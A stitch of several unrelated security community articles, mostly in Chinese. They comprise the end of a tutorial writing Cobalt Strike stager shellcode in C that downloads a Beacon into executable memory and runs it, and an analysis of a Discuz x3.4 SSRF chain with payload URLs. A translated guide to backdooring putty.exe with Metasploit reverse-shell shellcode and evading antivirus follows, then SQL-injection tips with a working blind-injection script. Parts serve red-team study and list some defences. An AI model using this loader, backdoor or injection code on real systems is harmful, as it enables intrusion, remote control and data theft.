pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr;
pNextModule = pLdr->InLoadOrderModuleList.Flink;
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule;
while (pDataTableEntry->DllBase != NULL)
{
dwModuleHash = 0;
pModuleBase = pDataTableEntry->DllBase;
BaseDllName = pDataTableEntry->BaseDllName;
pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);
dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
// Get the next loaded module entry
pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink;
// If the current module does not export any functions, move on to the next module.
if (dwExportDirRVA == 0)
{
continue;
}
// Calculate the module hash
for (i = 0; i < BaseDllName.MaximumLength; i++)
{
pTempChar = ((PCSTR) BaseDllName.Buffer + i);
dwModuleHash = ROTR32( dwModuleHash, 13 );
if ( *pTempChar >= 0x61 )
{
dwModuleHash += *pTempChar - 0x20;
}
else
{
dwModuleHash += *pTempChar;
}
}
pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);
dwNumFunctions = pExportDir->NumberOfNames;
pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames);
for (i = 0; i < dwNumFunctions; i++)
{
dwFunctionHash = 0;
pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);
pdwFunctionNameBase++;
pTempChar = pFunctionName;
do
{
dwFunctionHash = ROTR32( dwFunctionHash, 13 );
dwFunctionHash += *pTempChar;
pTempChar++;
} while (*(pTempChar - 1) != 0);
dwFunctionHash += dwModuleHash;
if (dwFunctionHash == dwModuleFunctionHash)
{
usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
}
}
}
// All modules have been exhausted and the function was not found.
return NULL;
}
在引用了以上代码后，我们还需要定义我们所需的 API 函数，这里我们尝试使用其它 API 进行测试：
typedef HMODULE(WINAPI* FN_LoadLibraryA)(
_In_ LPCSTR lpLibFileName
);
typedef LPVOID(WINAPI* FN_VirtualAlloc)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
typedef LPVOID(WINAPI* FN_InternetOpenA)(
_In_ LPCSTR lpszAgent,
_In_ DWORD dwAccessType,
_In_ LPCSTR lpszProxy,
_In_ LPCSTR lpszProxyBypass,
_In_ DWORD dwFlags
);
typedef HANDLE(WINAPI* FN_InternetOpenUrlA)(
_In_ LPVOID hInternet,
_In_ LPCSTR lpszUrl,
_In_ LPCSTR lpszHeaders,
_In_ DWORD dwHeadersLength,
_In_ DWORD dwFlags,
_In_ DWORD_PTR dwContext
);
typedef BOOL(WINAPI* FN_InternetReadFile)(
_In_ LPVOID hFile,
_Out_ LPVOID lpBuffer,
_In_ DWORD dwNumberOfBytesToRead,
_Out_ LPDWORD lpdwNumberOfBytesRead
);
typedef struct tagApiInterface {
FN_LoadLibraryA pfnLoadLibrary;
FN_VirtualAlloc pfnVirtualAlloc;
FN_InternetOpenA pfnInternetOpenA;
FN_InternetOpenUrlA pfnInternetOpenUrlA;
FN_InternetReadFile pfnInternetReadFile;
}APIINTERFACE, * PAPIINTERFACE;
现在我们已经有了定义好的函数和 GetProcAddressWithHash 函数，接下来只需要通过 hash 寻找我们需要的函数即可：
#pragma warning( push )
#pragma warning( disable : 4055 )
ai.pfnLoadLibrary = (FN_LoadLibraryA)GetProcAddressWithHash(0x0726774C);
ai.pfnLoadLibrary(szWininet);
ai.pfnLoadLibrary(szUser32);
ai.pfnVirtualAlloc = (FN_VirtualAlloc)GetProcAddressWithHash(0xE553A458);
ai.pfnInternetOpenA = (FN_InternetOpenA)GetProcAddressWithHash(0xA779563A);
ai.pfnInternetOpenUrlA = (FN_InternetOpenUrlA)GetProcAddressWithHash(0xF07A8777);
ai.pfnInternetReadFile = (FN_InternetReadFile)GetProcAddressWithHash(0xE2899612);
#pragma warning( pop )
##### 4.1.2 建立连接接收Beacon
LPVOID hInternet = ai.pfnInternetOpenA(0, 0, NULL, 0, NULL);
HANDLE hInternetOpenUrl = ai.pfnInternetOpenUrlA(hInternet, HttpURL, NULL, 0, 0x80000000, 0);
LPVOID addr = ai.pfnVirtualAlloc(0, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
recv_tmp = 1;
recv_tot = 0;
beacon_index = addr;
while (recv_tmp > 0) {
ai.pfnInternetReadFile(hInternetOpenUrl, beacon_index, 8192, (PDWORD)&recv_tmp);
recv_tot += recv_tmp;
beacon_index += recv_tmp;
}
((void(*)())addr)();
##### 4.1.3 64位下的代码调整
为了保证我们的 shellcode 在64位上以正确的堆栈对齐方式达到其入口点，我们需要编写一个保证对齐的 asm
存根，并将其生成的对象文件作为链接器的附加依赖项：
EXTRN ExecutePayload:PROC
PUBLIC AlignRSP ; Marking AlignRSP as PUBLIC allows for the function
; to be called as an extern in our C code.
_TEXT SEGMENT
; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
; to calling the entry point of the payload. This is necessary because 64-bit functions
; in Windows assume that they were called with 16-byte stack alignment. When amd64
; shellcode is executed, you can't be assured that you stack is 16-byte aligned. For example,
; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
; alignment.
AlignRSP PROC
push rsi ; Preserve RSI since we're stomping on it
mov rsi, rsp ; Save the value of RSP so it can be restored
and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
sub rsp, 020h ; Allocate homing space for ExecutePayload
call ExecutePayload ; Call the entry point of the payload
mov rsp, rsi ; Restore the original value of RSP
pop rsi ; Restore RSI
ret ; Return to caller
AlignRSP ENDP
_TEXT ENDS
END
我们还需要一个头文件帮助我们调用上面的汇编函数：
#if defined(_WIN64)
extern VOID AlignRSP( VOID );
VOID Begin( VOID )
{
// Call the ASM stub that will guarantee 16-byte stack alignment.
// The stub will then call the ExecutePayload.
AlignRSP();
}
#endif
##### 4.1.4 其它坑点
（1）传入一些字符串参数时需要使用字符数组的形式；
（2）传入的字符串不能过长，太长的话会被编译器分配到别的区段导致提取的 shellcode 找不到其地址；
（3）如果 CS 使用默认的 profile，注意 URL 应满足 CS 的检查要求（checksum8）；
#### 4.2 修改VSStudio配置
在写好代码后，为了从我们编译生成的 exe 文件中提取出可以使用的 shellcode，我们还需要修改 VS 的部分配置选项：
编译器：
/GS- /TC /GL /W4 /O1 /nologo /Zl /FA /Os
链接器：
/LTCG "x64\Release\AdjustStack.obj" /ENTRY:"Begin" /OPT:REF /SAFESEH:NO
/SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order64.txt" /OPT:ICF /NOLOGO
/NODEFAULTLIB
其中 AdjustStack.obj 是我们上面提到的对象文件，function_link_order64.txt 是我们指定的链接顺序，其内容如下：
Begin // 入口函数
GetProcAddressWithHash
ExecutePayload // shellcode 功能函数
#### 4.3 提取shellcode上线
配置好相关选项后，构建项目生成 exe，然后提取 .text 段就可以拿到我们的 shellcode 了：
使用一个简单的加载器进行测试，可成功上线：
## 5\. 参考链接
<https://bbs.kanxue.com/thread-264470.htm#msg_header_h2_0>
<https://web.archive.org/web/20210305190309/http://www.exploit-monday.com/2013/08/writing-optimized-windows-shellcode-in-c.html> | 社区文章 |
**Author: LoRexxar'@Knownsec 404 Team**
**Date: December 7, 2018**
**Chinese Version:<https://paper.seebug.org/756/>**
On December 3, 2018, @L3mOn disclosed a front-end SSRF in Discuz x3.4. By
using a secondary jump and two parsing problems, the SSRF attack chain can be
cleverly completed.
<https://www.cnblogs.com/iamstudy/articles/discuz_x34_ssrf_1.html>
In the process of recurrence with my partner @dawu, it is found that the
vulnerability itself relies on multiple features, resulting in a variety of
reductions in the exploitative environment and strong dependencies on some of
the conditions, which greatly reduces the harm of the vulnerability. Let's
analyze this vulnerability in detail.
# The Conditions of Vulnerability
* The version ＜ 41eb5bb0a3a716f84b0ce4e4feb41e6f25a980a3 ([The patch link](https://gitee.com/ComsenzDiscuz/DiscuzX/commit/41eb5bb0a3a716f84b0ce4e4feb41e6f25a980a3 "The patch link"))
* PHP version ＞ PHP 5.3
* php-curl <= 7.54
* DZ runs on port 80
* The default does not affect Linux (not 100% confirmed, the common testing environment of Linux is unaffected)
# Vulnerability Recurrence
## SSRF
First of all, the location of the vulnerability point is:
`/source/module/misc/misc_imgcropper.php line 55`.
Here the the variable of `$prefix` is `/` and the remaining code is
controllable, then we enter the function.
`/source/class/class_image.php line 52 Thumb function`
Then follow into the init function (line 118)
Obviously, as long as the `parse_url` parses the host, the request can be sent
via `dfsockopen`.
A common trick: since there will add `/` in the front, the source must begin
with `/`.
//baidu.com
Such a link will automatically add the protocol, as for how to add it depends
on how the specific client is written.
Then we follow `dfsockopen` to `/source/function/function_core.php line 199`.
Then to `source/function/function_filesock.php line 31`.
The main code is in the red box, and you can see that the address of the
request is the corresponding target under `parse_url`.
As mentioned earlier, the front of the link is `/`, so the `parse_url` here is
limited.
Since there is no `scheme`, the link to the final curl access is:
://google.com/
So adding the protocol automatically in the front is just like follows:
http://://google.com/
Here occurs a very serious problem: for curl, where exactly does requesting an
empty host go?
In Windows, the version of libcurl: `7.53.0`.
Here you can see that the ip of my local ipv6 is requested.
In the Linux environment (ubuntu), it is `7.47.0` as in the screenshot.
Having tested a variety of common systems, there is no curl version that will
not report errors during the process, and we temporarily think that it only
affects the server environment of Windows.
Back to the code conditions, we can review the previous conditions:
(1) Firstly we need to ensure that `/{}` is controllable, and there is host
under the `parse_url` operation.
To satisfy this condition, we must first have a clear understanding of the
results of `parse_url`.
In the absence of a protocol, it seems that the protocol or port (: number)
cannot appear in the parameter, otherwise the first segment will not be parsed
into host (don't know the exact reason).
In this case, we only need to remove the HTTP that may appear later, because
in the absence of a protocol, HTTP will be added by default (in general).
(2) Curl must be able to parse empty host into localhost, so the libcurl
version needs to be under 7.54.0, and so far it only affects Windows servers.
(welcome for further rebuttal
(3) DZ runs on port 80
Having satisfied all the conditions, we actually requested arbitrary local
directory.
http://://{可控}
===>
http://127.0.0.1/{可控}
But this is actually useless, so we still need an arbitrary url to jump,
otherwise it makes little sense if it can only attack the local.
# URL Redirector Abuse
In order to be able to interact with the previous requirements, we need an
arbitrary url jump which is the "get" type and does not require login.
Dz will get the value from the referer parameter (not the header parameter)
when in the logout, and then enter the 301 to jump, and the only requirement
here is to have some verification on the host, let’s look at the code.
`/source/function/function_core.php:1498`
The screenshot above explains the main problem with this code, and the core
code is framed in red.
In order for the referer not to change, we must make the host only have one
character, but obviously, if the host can only have one character, we can't
control arbitrary url jump.
So we need to find a way to get `parse_url` and `curl` to parse at odds with
the target of the same url in order to possibly achieve our goal.
http://localhost#@www.baidu.com/
`parse_url` parses the above link as `localhost`, and the curl is explained as
`www.baidu.com`.
Let’s capture a packet to take a view:
We successfully bypassed various limitations.
# Exploits
Now that we have mastered SSRF and arbitrary url jump, we just need to link up
the attack chain. The attack process is as follows:
cutimg ssrf link
=====>
The server accesses url redirector abuse at the logout
====301====>
Jump to the malicious server
=====302=====>
Arbitrary target, such as gophar, http, etc.
Of course, when you first access the cutimg page, you need to get the forghash
first, and the referer should be modified accordingly, otherwise it will be
intercepted directly.
Exp demo
# About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
原文：[Art of Anti Detection 2 – PE Backdoor
Manufacturing](https://pentest.blog/art-of-anti-detection-2-pe-backdoor-manufacturing/)
译者： **MyKings@知道创宇404实验室**
前文回顾：[反检测技术之反病毒检测](http://paper.seebug.org/222/)
本文主要讲述在网络攻防演练中红队如何在PE(Portable
Executable)文件中放置后门的几种方法。为了让读者能够充分掌握本文的内容，您需要具有中级x86汇编知识，并熟悉调试器与PE文件格式。
## 1\. 背景说明
目前几乎所有的安全研究人员、渗透测试人员和恶意软件分析师每天都在处理后门程序，将后门放置到系统或具体某个应用程序是一种较为常见的攻击方式。
本文的大部分内容是关于将后门植入32位PE文件的方法, 但由于PE文件格式是Unix COFF（Common Object File Format,
通用对象文件格式）的修改版本，所以这些方法也可以用于其他可执行二进制文件类型。
此外，后门的隐蔽性尤为重要，这里也会分析一些反检测技术的方法。在阅读本文之前，您可以先阅读 [Introduction To AV & Detection
Techniques ](https://pentest.blog/art-of-anti-detection-1-introduction-to-av-detection-techniques/)([反检测技术之反病毒检测](http://paper.seebug.org/222/)) ,
这将有助于您了解反病毒产品的内部工作原理和反检测技术的基本思想。
## 2\. 专业术语
**红队(Red Team Pentesting):**
在网络攻防演练中，红队是由一群白帽黑客组成，作为攻击者负责攻击组织(通常为蓝队)的数字基础设施，以测试组织的防御能力（通常称为“渗透测试”）。
其好处体现在先入为主的观念与挑战，发现更多的潜在威胁减少安全问题。其次可更准确地了解敏感信息是如何被泄漏的，以及可利用的模式。目前包括微软在内的一些公司会定期进行红队与蓝队的网络对抗演练。
_图片译者添加_
**地址空间布局随机化(ASLR):**
`ASLR` 是一种针对缓冲区溢出的安全保护技术。为了防止攻击者能够直接定位内存中攻击代码位置，`ASLR` 随机排列进程的关键数据区域的内存地址，如:
可执行文件的基址、栈、堆和库的位置。
**代码洞(Code Caves):**
`Code Caves`是由另一个程序写入另一个进程的内存的一段代码。这段代码可以通过在目标进程内创建远程线程来执行。代码的`Code
Caves`通常是对代码的脚本函数的一部分的引用，该脚本函数具有注入自定义指令的能力。例如，如果脚本的内存允许5个字节，并且只使用3个字节，则剩余的2个字节可以用于向脚本添加外部代码,
这就是所谓的代码洞。
**校验和(Checksum):**
`校验和`是来自数字数据块的小尺寸数据，用于检测在其传输或存储期间可能引入的错误。它通常从远端服务器下载到本地接收到之后应用于安装文件。通过自身，校验和通常用于验证数据完整性，但不依赖于验证数据的真实性。
> 译者注: "校验和" 是冗余校验的一种形式。
> 它是通过错误检测方法，对经过空间（如通信）或者时间（如计算机存储）传送的数据的完整性进行检查的一种简单方法。计算机领域常见的校验和的方法有:
> CRC、MD5、SHA家族等。
## 3\. 基本流程
本文中将通过 [putty.exe](http://www.putty.org/)
这个SSH客户端来做示例演示。这里使用`putty`的主要原因有如下几个:
* `putty` 客户端是一个使用多个库和 Windows API 的本地 C++ 项目;
* SSH客户端的后门吸引较少关注，因为程序主要就是执行TCP连接，这将更容易避免蓝色团队网络监控。
这个后门代码将使用 [`metasploit`](https://github.com/rapid7/metasploit-framework) 项目中
Stephen Fever’s 开发的TCP反向链接的
[`ShellCode`](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/stager/stager_reverse_tcp_nx.asm)。
主要将 `ShellCode` 注入目标PE文件中，并且不影响程序的正常功能。注入的 `ShellCode`
将在一个新的线程上执行，并不断地尝试连接到控制端。完成以上目标后我们还要做一些免杀, 来减少被检测到的风险。
大致流程主要分以下四个步骤:
* 完成可用空间的后门代码(添加区段)
* 劫持执行流程
* 注入后门代码
* 恢复执行流程
在每一个步骤中都有一些关键操作, 这些细节保证了后门的隐蔽与降低被检测到的风险。
## 4\. 可用空间问题
第一步我们需要找到可用空间，如何在PE文件中选择合适的空间来插入后门代码非常重要, 这将影响到后门被检测到的风险系数。 有如下两种方法解决空间大小问题:
### 4.1 添加新区段
与其他方法相比，这种方法容易被检测引擎检测到，但另一个好处是附加了一个新的区段，对于将被植入的后门代码没有空间限制。
使用一个汇编程序或PE编辑器(如`LordPE`)，所有的PE文件可以添加一个新的段头，这是 `putty` 可执行文件的节表，借助PE编辑器添加了一个
"`NewSec`" 区段, 大小为 1000 字节，
当创建一个新的区段时，将段标志设置为 “读/写/执行” 对于当PE映像映射到内存时运行后门 `ShellCode` 至关重要。
在添加段头之后，需要调整文件大小，这可以通过在十六进制编辑器中添加空文件和文件末尾的段大小来实现。
在这些操作之后，新的空段被成功地添加到PE文件中，运行修改后的 `putty` 文件，如果正常运行, 则新段可以在调试器上被修改。
为了解决空间问题，我们添加一个新的区段，但是几乎所有的AV产品都能识别不常见的区段，同时给一个不常见的区段所有（读/写/执行）权限肯定是非常可疑的。即使向putty可执行文件添加空的完整权限，也会被某些AV产品标记为恶意。
### 4.2 代码洞(Code Caves)
解决空间问题的第二种方法是使用目标可执行文件的`Code Caves`。几乎所有编译的二进制文件都有`Code
Caves`，可以在进行后门操作时使用。使用`Code
Caves`而不是新添加的区段的方法将降低被AV产品检测的风险，因为使用已经存在的公共部分。此外，PE文件的总体大小在添加后门结束时不会被改变，但是该方法也具有缺点。
`Code Caves`的数量和大小根据文件的不同而不同，与添加区段比通常没有太多的空间。当使用`Code
Caves`时，后门代码应尽可能短小。另一个缺点是段标志, 由于应用程序的执行将被重定向到 Caves，包含 Caves 的部分应该具有 “execute”
权限，甚至一些shellcode（以自修改的方式编码或混淆）也需要 “write” 权限，以便进行更改里面的区段。
使用多个`Code
Caves`将有助于克服空间限制问题，也将后门代码分割为块同时降低了被AV检测的风险，但不幸的是更改段特权将看起来可疑。有一些高级方法可以修改运行时的内存区域权限，来避免直接更改段权限，但由于这些方法需要定制的
`ShellCode` 编码和IAT解析技术，它将在下一篇文章中来介绍。
借助于一个名为`Cminer`的工具，很容易枚举二进制文件的所有代码洞，`./Cminer putty.exe 300` 命令枚举`Code
Caves`大于300字节。
在这种情况下，有5个好的`Code
Caves`可以使用。起始地址给出了`Caves`的虚拟内存地址（VMA）。这是`Caves`的地址，当PE文件加载到内存中时，文件偏移量是以字节为单位的PE文件内的`Caves`地址。
看来大部分`Caves`都在数据段内，因为数据段没有执行特权段标志,
这里需要更改。后门代码将在400-500字节左右，所以5个`Caves`应该是足够的。`Caves`的起始地址应该被保存，在将段特权更改为R/W/E后，第一步的后门过程就完成了。
下面开始需要重定向执行的时候了。
## 5\. 劫持执行流程
在此步骤中，我们目的是通过修改目标可执行文件的指令将执行流重定向到后门代码。这里有一个关于选择将被修改的指令重要细节,
所有二进制指令具有字节大小，为了跳转到后门代码地址，将使用5或6字节的长跳跃。
因此，当修补二进制时，将被修补的指令需要与长跳转指令的大小相同，否则上一条或下一条指令将被破坏。
选择适当的空间来重定向执行对于绕过AV产品的动态检测和沙箱分析机制是非常重要的。如果直接发生重定向，则可能在AV的动态扫描分析阶段就被检测到。
**隐藏在用户交互下：**
绕过沙盒与动态分析阶段的第一件事是延迟`ShellCode`的执行或设计沙箱感知和触发机制。
但在添加后门时，大多数时候没有这么多的空间用于在PE文件中添加这些额外的代码。在汇编级语言中设计防检测机制这需要大量的时间和知识。
该方法主要是利用与用户交互来执行操作的功能,
作为一个触发机制，当一个用户操作程序时激活后门代码。如果这个方法可以正确实现，它将有100%的成功率，而且不会增加后门代码的大小。
在`putty`启动后的界面中, 点击 “Open” 按钮会启动一个检查IP地址是否有效的功能。
如果IP地址字段值不为空并且有效，则它启动尝试连接给定IP地址的连接功能。如果客户端成功创建SSH会话，将弹出一个新窗口并请求凭据，
这将是重定向发生的点，因为AV产品不能够复制这种复杂的环境，植入的后门将不会被自动化沙盒和动态分析机制检测到。
使用基本的逆向方法，搜索下面的字符串和字符串引用，将不难找到连接函数的地址。客户端建立与给定IP的连接后，有一个字符串 “login as:”
打印到出现的窗口。 这个字符串将帮助我们找到连接函数的地址，`IDA Pro`在这方面做得很好。
为了找到 **“login as:”** 字符串, 在`IDA`上依次打开 **Views- >Open Subviews->Strings**
找到字符串后，双击转到所在位置，在数据节内部`IDA`查找所有对字符串的交叉引用，按 “Ctrl+X”，它显示所有交叉引用，这个引用在打印 “login
as:” 字符串的函数内部。
这将是要修补的指令，在进行任何更改之前，请注意上下文的指令。 执行后门代码后，将再次使用。
通过将`PUSH 467C7C`指令改为`JMP 0x47A478`，完成后门过程的重定向阶段。
重要的是注意下一个指令地址。它将在执行后门代码后用作返回地址。
接下来将是注入后门代码的环节。
## 6\. 注入后门代码
在注入后门代码时，首先需要做的是在执行后门之前保存寄存器中的内容。所有寄存器中的每个值对于程序的执行是非常重要的。通过在代码的OEP(程序入口点)放置`PUSHED`和`PUSHED`指令，所有寄存器内的值和寄存器标志都存储在堆栈中。
这些值将在执行完后门代码之后弹出，以便程序可以继续执行而没有任何问题。
如前所述，使用的后门代码是来自`metasploit`项目的`meterpreter`反向TCP
`ShellCode`。但是在`ShellCode`中需要做少量修改。 通常，反向TCP
`ShellCode`会有尝试连接到处理程序的次数或时间限定，如果连接失败，则通过调用`ExitProcess API`调用关闭进程。
这是问题的所在，如果连接到处理程序失败，`putty`客户端的执行将停止。改变几行`ShellCode`使其每次连接失败时`ShellCode`将重试连接到处理器，这样也会相应的减少`ShellCode`的体积。
在汇编代码中进行更改后，使用`nasm -f bin stager_reverse_tcp_nx.asm`命令进行编译。现在反向的TCP
`ShellCode`已经可以使用了，但是它不会被直接放置, 我们的目标是在新线程上执行`ShellCode`。
为了创建一个新的线程实例，需要另一个`ShellCode`，使`CreateThread`API调用指向反向TCP
`ShellCode`。这里使用`Metasploit`项目中创建线程的[`ShellCode`](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/single/createthread.asm)。
如上, 将 [createthread.asm](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/single/createthread.asm)
文件中的代码转换为十六进制格式的`ShellCode`，使用`nasm -f bin
createthread.asm`命令进行编译。在这里，`ShellCode`准备插入到`Caves`中，但在插入`ShellCode`之前，它应该被编码以便绕过AV产品的静态/特征分析机制。因为`Metasploit`项目中的所有编码器被大多数AV产品所知，所以强烈建议使用自定义编码器。
本文不会覆盖这种自定义`ShellCode`编码器的制作，它将在下一篇文章中介绍到，这里还可以使用多个`Metasploit`编码器来工作。在每个编码过程完成之后，将编码的`ShellCode`上传到线上的病毒检测站点，根据检测分数。
尝试每个组合，直到它不被检测到或等待下一篇文章。
在正确编码`ShellCode`之后，就可以把它插入`Code Caves`。选择在`PUSHFD`下的指令，然后在免调试器上按下 “Ctrl +
E”，`ShellCode`将以十六进制格式粘贴。
使用`xxd -ps
createthread`命令，以十六进制格式打印编码创建线程的`ShellCode`或使用十六进制编辑器打开`ShellCode`并复制十六进制值。当将十六进制值粘贴到调试器时，请注意字节限制，这些修补操作是用免试器进行的，免调试器在粘贴到编辑代码窗口时有一个字节限制。
它不会粘贴所有`ShellCode`，记住粘贴的`ShellCode`的最后2个字节在编辑代码窗口内，按下OK按钮后继续粘贴字节，当所有`ShellCode`粘贴到`Code
Cave`时后门代码就插入完了。
## 7\. 恢复执行流程
在创建后门代码线程之后，程序需要恢复到其正常执行流程，这意味着EIP应该跳回到将执行重定向到`Cave`的函数。但是在跳回到该函数之前，应该检索所有保存的寄存器。
通过在`ShellCode`的末尾放置`POPFD`和`POPAD`指令，所有保存的寄存器都以相同的顺序从堆栈中弹出。在检索寄存器后，还有一件事要做，执行被劫持的指令。为了将程序的执行重定向到`Code
Cave`, 我们将`PUSH 467C7C`指令替换为了`JMP 0x47A478`。 现在把`PUSH
467C7C`指令放在最后，被劫持的指令也被检索。现在是返回到通过插入`JMP
0x41CB73`指令将执行重定向到`Cave`的函数的时候了，结果代码应该如下图所示。
最后选择所有修补和插入的指令，按右键单击并复制到可执行文件。此操作应对已修改的每个指令执行。当所有指令被复制并保存到文件时，关闭调试器并测试可执行文件，如果可执行文件运行顺畅，则后门可以使用。
最后，建议固定最终文件校验和，以保持文件的真实性，而不是看起来可疑，这也可能对降低检测分数有影响。
## 8\. 总结与预防措施
最后，当所有操作都正常完成后，产生的后门是完全不会被检测到的。针对以上的两种代码注入方式，下面给出这些相应技术的对策，这些策略可以帮助系统管理员、恶意软件记录器、反病毒与反恶意软件产品的开发人员。
### 8.1 区段特权控制
当谈论后门文件时，区段的特权对于检测异常是非常重要的，编译器永远不会设置对区段的完全权限，除非开发人员强制添加。特别是像`.data`或`.rdata`这样的数据段不应该有执行权限，类似`.text`的代码段不应该有写权限，这些异常应该被认为是可疑的行为。
### 8.2 不常见区段识别
如果开发人员不进行任何配置,
编译器通常创建5-6个通用类型的区段，所有安全产品应该具有识别不常见和可疑段的机制，这种机制可以寻找段内的熵和数据对齐，如果一个段包含高熵和异常排序的数据，它应该被认为是可疑的。
### 8.3 签名检查
这种对策非常经典，也是最有效的，当下载一个新的程序或任何一块可执行文件，检查sha1签名来验证程序是否被修改。
### 8.4 检查文件校验和
当内部镜像和文件的实际校验和的值之间存在差异时，这表明该文件已被修改过，安全产品和系统管理员应计算实际校验和并与镜像头比较，来检查文件的真实性。
## 9\. 原文链接
* http://NoDistribute.com/result/image/Ye0pnGHXiWvSVErkLfTblmAUQ.png
* https://github.com/secretsquirrel/the-backdoor-factory
* https://www.shellterproject.com/
* https://en.wikipedia.org/wiki/Red_team
* https://en.wikipedia.org/wiki/Address_space_layout_randomization
* https://en.wikipedia.org/wiki/Code_cave
* https://en.wikipedia.org/wiki/Checksum
## 10\. 译者参考
* https://ccdcoe.org/publications/LockedShields13_AAR.pdf
* * * | 社区文章 |
# 【技术分享】SQL注入的一些技巧分享
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[米糕菌](http://bobao.360.cn/member/contribute?uid=2559191552)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
先上一道简单的ctf注入题：
**一道利用order by进行注入的ctf题**
****
很不错的一道利用order by的注入题，之前不知道order by除了爆字段还有这种操作。
原题地址：<http://chall.tasteless.eu/level1/index.php?dir=>
直接进去dir后的参数是ASC，网页上有从1~10编号的10条信息。绕了一大圈反应出是order
by后的参数，尝试把参数改为DESC，果然倒序排列了。题目给了提示： **hint: table level1_flag column flag**
给了数据表和字段，于是开始构造payload。
于是玄学来了，在order by后面插入管道符|之后再跟一个偶数（？这里我真的不清楚）会导致排序错乱。尝试以下url：
[http://chall.tasteless.eu/level1/index.php?dir=|2](http://chall.tasteless.eu/level1/index.php?dir=%7C2)
果然排序错乱，那么想要查出flag必定要使用以下语句：
select flag from level1_flag
（结果证明确实这是一个一行一列的玩意儿，不然就要使用到 **limit** 或 **group_concat** ）
但是网页上没有显示这个的输出框，于是我们这样利用这个查询的结果集：
|(select(select flag from level1_flag)regexp '正则')+1
解释一下，括号里的正则匹配成功返回1，所以再加1变成2
所以如果匹配成功，网页的排序就会错乱，如果不成功排序则不会错乱，于是最终脚本：
import urllib
import requests
result_string="^"
right_url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp 'sdfghj')%2b1"
ordered_content=requests.get(right_url).content
while(1):
for letter in '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM?':
if(letter=='?'):
exit()
result_string_tem=result_string+letter
url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp "+"'"+result_string_tem+"'"+")%2b1"
print url
content=requests.get(url).content
if(content!=ordered_content):
result_string=result_string_tem
print result_string
break
continue
总结一下：
1、管道符的使用（见正文）
2、regexp的使用（见正文）
其实还有一个 **group by** 后面的注入， **where** 后面的都能用
**0x00 union、intersect和minus的使用**
****
union基本语法：
select语句
union select语句
intersect（交集）和minus（差集）也一样，但是mysql不支持交集和差集， **所以这也是一个判断数据库的方法** 。
就说说union：
基本法：前后两个select语句的字段数要相同，不然sql必定报错，所以可以用union指令判断数据表的字段数，基本构造方法：
...where...union select 1,2,3,4,...,x limit y,z
其中where子句可以没有，limit视情况而定，中间输入进去的1,2,3,4,…,x他们中的任何一个都可以用函数代替，最终他们在默认排序的情况下会被拼接到结果集的最后一行。例：
mysql> select * from learning_test union select 1,version(),concat('sh','it'),4,5;
+------+---------+---------+---------+----------------------+
| num | column2 | column3 | column4 | bin_column |
+------+---------+---------+---------+----------------------+
| 1 | a | s | s | aaaaaaaa |
| 2 | b | s | s | ddd |
| 3 | c | s | s | wwwwwwww |
| 4 | d | s | s | fffffff |
| 1 | 5.5.53 | shit | 4 | 5 |
+------+---------+---------+---------+----------------------+
5 rows in set (0.03 sec)
union查询强大而灵活，因为他可以查询两个不同的表的信息，哪怕这两个表字段数不同，只要这样做：
mysql> select * from learning_test union select 1,version(),3,group_concat(test_table),5 from test_table;
+------+---------+---------+---------+----------------------+
